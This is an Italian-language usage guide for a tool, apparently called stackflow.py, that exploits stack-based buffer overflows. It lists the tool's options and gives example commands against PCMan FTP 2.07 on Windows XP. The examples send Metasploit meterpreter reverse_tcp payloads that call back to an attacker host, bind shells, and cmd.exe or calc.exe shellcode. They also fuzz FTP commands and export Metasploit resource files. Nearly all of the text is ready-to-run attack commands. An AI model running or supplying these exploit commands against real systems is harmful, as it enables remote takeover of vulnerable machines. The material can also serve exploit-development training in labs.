
Strumento universale di sfruttamento di buffer overflow basato su stack
Strumento universale per lo sfruttamento di buffer overflow basato su stack
usage: ./stackflow.py OPTIONS
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
rhost
-p RPORT, --rport RPORT
rport
-c CMDS, --cmds CMDS commands to send to server before overflow
-v VULNCMD, --vulncmd VULNCMD
vulnerable command
-o OFFSET, --offset OFFSET
offset to EIP
-ao AUTOOFFSET, --autooffset AUTOOFFSET
calculate offset from cyclic pattern EIP string
-a RETURNADD, --returnadd RETURNADD
return address
-n NOPS, --nops NOPS number of NOPS \x90 x 4 to prepend
-m PAYLOAD, --payload PAYLOAD
MSF payload
-i LHOST, --lhost LHOST
lhost
-l LPORT, --lport LPORT
lport
-f FUZZ, --fuzz FUZZ Fuzz with cyclic pattern of size
-t, --calc Send calc.exe shellcode
-t1, --cmdprompt Send cmd.exe shellcode
-d, --display Display the exploit buffer
-q, --quiet Display less cruft
-w TIMEOUT, --timeout TIMEOUT
Timeout for socket (Default: 5)
-e CFEXPORT, --cfexport CFEXPORT
Export exploit config and metasploit rc file
-g CFIMPORT, --cfimport CFIMPORT
Import and run exploit from config file
-s STANDALONE, --standalone STANDALONE
Export exploit to a standalone python script
Tutte le opzioni possono essere inserite tramite riga di comando o lette da un file di configurazione.
Alcuni esempi per PCMan FTP 2.07 in esecuzione su WindowsXP SP3 (ENG):
App vulnerabile: http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
Sfruttamento senza comandi e invio del payload meterpreter/reverse_tcp che richiama 192.168.0.2 sulla porta 4444:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2012 -m windows/meterpreter/reverse_tcp -a 7E429353
Sfruttamento del comando USER e invio del payload meterpreter/reverse_tcp che richiama 192.168.0.2 sulla porta 4444:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
Sfruttamento del comando PASS e invio del calc.exe shellcode:
./stackflow.py -r 192.168.0.9 -p 21 -o 6103 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
Sfruttamento del comando ABOR e invio del payload meterpreter/bind_tcp in ascolto sulla porta 4444:
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'ABOR' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -l 4444 -m windows/meterpreter/bind_tcp
Sfruttamento del comando CWD e invio del cmd.exe shellcode con visualizzazione del buffer dell'exploit:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1 -d
Fuzzing del comando STOR con un buffer ciclico di dimensione 3000:
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS [email protected]' -f 3000
Sfruttamento del comando CWD con stringa di offset automatico da EIP dopo il crash del fuzzing e invio del cmd.exe shellcode:
./stackflow.py -r 192.168.0.9 -p 21 -ao o9Cp -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1
Esportazione del file py dell'exploit e del file rc di Metasploit:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -e revCWD -l 4444 -m windows/meterpreter/reverse_tcp -i 192.168.0.2
Avvia msfconsole ed esegui l'exploit e l'handler:
msfconsole -r revCWD.rc
Esegui l'exploit e l'handler da msfconsole:
resource /path/to/revCWD.rc
Esegui un exploit da un file di configurazione (nessun handler!):
./stackflow.py -g revCWD(.py)